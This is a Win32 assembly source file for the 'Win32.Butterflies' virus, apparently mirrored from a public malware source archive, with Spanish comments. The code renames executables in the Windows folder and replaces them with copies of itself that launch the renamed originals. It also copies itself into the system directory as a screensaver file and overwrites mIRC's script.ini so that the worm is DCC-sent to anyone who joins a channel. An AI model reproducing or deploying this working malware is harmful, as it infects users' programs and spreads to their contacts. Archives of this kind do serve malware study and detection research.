13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/Win32.Butterflies.asm
2020-10-10 22:07:43 -05:00

250 lines
8.4 KiB
NASM

;Win32.Butterflies By Twizter/NuKe
.386p
.model flat ;Setting para el Tasm
.code
;=============================
extrn GetSystemDirectoryA:proc
extrn GetWindowsDirectoryA:proc
extrn lstrcat:proc
extrn ExitProcess:proc
extrn GetModuleHandleA:proc
extrn GetModuleFileNameA:proc
extrn FindFirstFileA:proc
extrn FindNextFileA:proc
extrn CopyFileA:proc
extrn DeleteFileA:proc
extrn MoveFileA:proc
extrn _lopen:proc
extrn _lwrite:proc
extrn _lclose:proc
extrn WinExec:proc
extrn SetFilePointer:proc
extrn GetCurrentDirectoryA:proc
extrn SetCurrentDirectory:proc
extrn _lread:proc
extrn _lcreat:proc
extrn SetCurrentDirectoryA:proc; Declaramos todas las funciones que vayamos a usar
;=============================
include windows.inc
;=============================
_off_ equ 2722d
_scrpt_ equ offset end_script - offset IniData1 ;Declaramos el tamaño del Script.ini
;=============================
begin:
push 00000001 ;modo de ejecucion
push offset cFileName ;nombre del .vxe el cual se guarda en el exe al momento
call WinExec ; de la infeccion
push offset path3 ;Buffer en donde guaradar el Path
push 260 ;Tamaño del buffer
call GetCurrentDirectoryA ;Obtiene el path del programa
push 25 ;Tamaño del buffer
push offset path2 ;Buffer en donde guaradar el Path
call GetWindowsDirectoryA ;obtiene el path de windows
push offset path2
call SetCurrentDirectoryA ;el directorio ahora es el de windows
push offset handle1
call GetModuleHandleA ;obtiene el handle del modulo de la fila que se esta ejecutando
push 50 ;Tamaño del buffer
push offset handle2 ;buffer
push eax ;handle del ejecutable que acabmos de obtener con la funcion anterior
call GetModuleFileNameA ;guardamos el path de este ejcutable en handle2
push offset filedta ;estructura que recibe informacion acerca de los archivos encontrados
push offset maska ; = *.Exe
call FindFirstFileA ;funcion de buscar archivos
mov dword ptr [handle_],eax ;guarda el hadle de la busqueda en _handle
cmp eax, 0 ;si la funcion devolvio un 0 hubo un error o sea que no
je done_this ;hay EXEs para infectar .
check:
; cmp nFileSizeLow, 6000d
; jle nextfile
mov bx, word ptr[cFileName] ;mueve el nombre del archivo encontrado a bx
cmp bx, 'XE' ;mira a ver si empieza por Ex , para no infectar el explorer
je nextfile ;si empieza por ex va por el proximo archivo
cmp bx, 'UR' ;mira a ver si empieza por Ru , para no infectar el RunDllxx
je nextfile ;si empieza por ex va por el proximo archivo
cmp bx, 'ur' ;lo mismo
je nextfile ;igual
cmp bx, 'ME' ;Em , para no infectar el Emm386.Exe
je nextfile ;no lo infecta
lea esi, [cFileName] ;pone en Esi el nombre del file
lea edi, [newfilename] ;pone en edi un buffer para guardar el nombre del nuevo file
stowit:
lodsb ;mueve un byte de esi a Al
cmp al, '.' ;lo compara con el punto
je addext ; si ya encontramos el punto vamos a la rutina addext
stosb ;mueve el byte an al a Edi
jmp stowit ;hace un loop hasta encontrar el punto
addext:
stosb ;mueve el "." a Edi
lea esi, [newext] ;pone en esi la extension vxe
movsw ;mueve el contenido de Esi (vxe) a Edi
movsw ;mueve el contenido de Esi (vxe) a Edi
push 0 ;Flags
push offset newfilename ;nombre con la extension .Vxe
push offset cFileName ;nombre con la extension .Exe
call MoveFileA ;convierte el .exe a . vxe
push 0 ;Flag
push offset cFileName ;nombre del .exe
push offset handle2 ;nombre del virus que se esta ejecutando
call CopyFileA ;con esta funcion copiamos este virus con el antiguo nombre del .exe
push 2 ;Write_Mode
push offset cFileName ;abrimos el .exe "infectado"
call _lopen ;Oopen file
mov dword ptr [_handle],eax ;guarda el handle del archivo abierto
push dword 0 ;how to move ; desde el file begin
push NULL
push _off_ ;offset a donde mover el puntero del file
push eax ;handle del file
call SetFilePointer ;movemos el puntero a la posicion donde se escribira el nombre del
;.vxe
mov eax, dword ptr [_handle] ;mueve el handle a Eax
push 50 ;numero de byes a escribir
push offset newfilename ;bytes que vamos a escribir
push eax ;handle del file a escribir
call _lwrite ;de esta forma si por ejemplo infectamos write.exe , en el nuevo write.exe
;se guardara el nombre write.vxe para luego ejecutarlo
push eax ;handle del archivo
call _lclose ;close the file
nextfile:
push offset filedta ;estructura donde guardar la informacion de los archivos encontrados
mov eax, dword ptr [handle_] ;handle de la primera busqueda
push eax
call FindNextFileA ;buscamos el sigueiente exe
cmp eax, 0 ;si no hay mas files
je done_this :saltamos a done_this
jmp check
done_this:
push 25 ;tamaño del buffer
push offset path1 ;buffer donde guardar
call GetSystemDirectoryA ; el directorio system ("C:\Windows\System\")
push offset handle3 ;cadena que contiene "\FlyingButterflies.scr"
push offset path1 ;path de system
call lstrcat ;juntamos las dos cadenas
push 0 ;flag
push offset path1 ;nombre que se obtuvo en la funcion anterior
push offset handle2 ;nombre de este file ("e.g:Virus.Exe")
call CopyFileA ;movemos el virus al dir. system para mandarlo con Mirc
push 2 ;flag
push offset MircLNK ;nombre del acceso directo de mirc
call _lopen :lo abrimos
mov dword ptr [_handle],eax ;handle de mirc.lnk en Eax
push dword 2
push NULL
push -50
push eax
call SetFilePointer ;nos movemos al offset -50 para ver el path de mirc
mov eax, dword ptr [_handle]
push 50
push offset MircDir
push eax
call _lread ;leemos 50 bytes en donde debe estar el path de mirc
push eax
call _lclose ;cerramos el acceso directo
std
lea esi, MircIni ;ponemos en Esi el path de mirc
get_next_byte:
lodsb ;movemos un byte de esi a al
cmp al, ':' ;vemos si ya encontramos los dos puntos
jne get_next_byte ;loop
push offset MircIni ; = \script.ini
push esi ;path del mirc
call lstrcat ;juntamos los dos
push 0 ;flag
push esi ;nombre del archivo script.ini
call _lcreate ;creamos o sobreescribimos el file
push _scrpt_ ;numero de bytes a escribir
push offset IniData1 ;contenido del script.ini
push eax ;handle del archivo creado
call _lwrite ;escribimos el archivo
push eax ;handle
call _lclose ;cerramos el archivo
push offset path3 ;Path original
call SetCurrentDirectoryA ;restauramos el path del principio
push 0
call ExitProcess ; y terminamos
;=============================
.data
handle1 db 50 dup(0)
handle2 db 50 dup(0)
maska db '*.exe',0
newext db 'vxe',0
handle_ dd 0
_handle dd 0
filedta:
FileAttributes dd 0
CreationTime db 8 dup(0)
LastAccessTime db 8 dup(0)
LastWriteTime db 8 dup(0)
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db 50 dup('N')
cAltFileName db 14 dup(0)
newfilename db 50 dup(0)
path2 db 25 dup(0)
path3 db 260 dup(0)
MircLNK db 'Start Menu\Programs\mIRC\mIRC32.LNK',0
MircDir db 50 dup(0)
MircIni db '\script.ini',0
Mirc_ db 'c:\mirc\script.ini',0
IniData1:
db '[Script]',0dh,0ah
db 'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah
db 'n1= /dcc send $nick '
path1 db 25 dup(0)
handle3 db '\FlyingButterflies.scr',0,'}'
db 100 dup(0)
end_script:
end begin